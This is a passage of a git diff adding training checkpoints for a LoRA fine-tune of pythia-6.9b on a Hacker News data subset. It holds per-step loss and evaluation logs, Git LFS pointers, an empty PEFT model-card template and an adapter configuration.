1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.098991870880127, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8045, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.794708490371704, + "eval_runtime": 43.8163, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.1050519943237305, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8189, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.790193796157837, + "eval_runtime": 43.8333, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 2.814183473587036, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.7888, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.7924447059631348, + "eval_runtime": 43.9915, + "eval_samples_per_second": 22.732, + "eval_steps_per_second": 2.841, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.243612051010132, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.6686, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.8807199001312256, + "eval_runtime": 44.1448, + "eval_samples_per_second": 22.653, + "eval_steps_per_second": 2.832, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 4.4918212890625, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.6355, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.8911144733428955, + "eval_runtime": 44.0372, + "eval_samples_per_second": 22.708, + "eval_steps_per_second": 2.839, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.3523900508880615, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.6453, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.865966320037842, + "eval_runtime": 43.9698, + "eval_samples_per_second": 22.743, + "eval_steps_per_second": 2.843, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 3.544044256210327, + "learning_rate": 2.192592592592593e-05, + "loss": 1.6883, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.878653049468994, + "eval_runtime": 44.0273, + "eval_samples_per_second": 22.713, + "eval_steps_per_second": 2.839, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 3.418917179107666, + "learning_rate": 2.074074074074074e-05, + "loss": 1.713, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.876905679702759, + "eval_runtime": 44.0776, + "eval_samples_per_second": 22.687, + "eval_steps_per_second": 2.836, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.6384103298187256, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7537, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.868889808654785, + "eval_runtime": 43.8586, + "eval_samples_per_second": 22.801, + "eval_steps_per_second": 2.85, + "step": 510 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 8.35689671294976e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..78b5d135d57d7c71903c91c4da5f9ee10dcc93c0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:ea2e37cb2bb83a76d6205082fc792e821d0290b0edb8f1dc5cf2251e6ad68320 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..64b066d45369e0632d5a5736cd711bd9a9bde8a2 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3d221a8c3cdb63ec68c97f39a3a085f8d90418a01359b07f692d4b491fd396f9 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..736afdcce42e3e1d5dec3aedeed239bc0b63975c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:ca29f15bc2264125f00923607dbea007ec921af3e528271a2bb77db5cd4d2b66 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..d470aca3bc75a59cd83f65a7641e2227523184b0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:54453f7799a2c12a65729e49535ef0d1133252bbba34418ca96403f477d1ed92 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..79e8f9e1ce1f925e79b7e2b9ec19cc753c549894 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/trainer_state.json @@ -0,0 +1,813 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 6.933333333333334, + "eval_steps": 10, + "global_step": 520, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 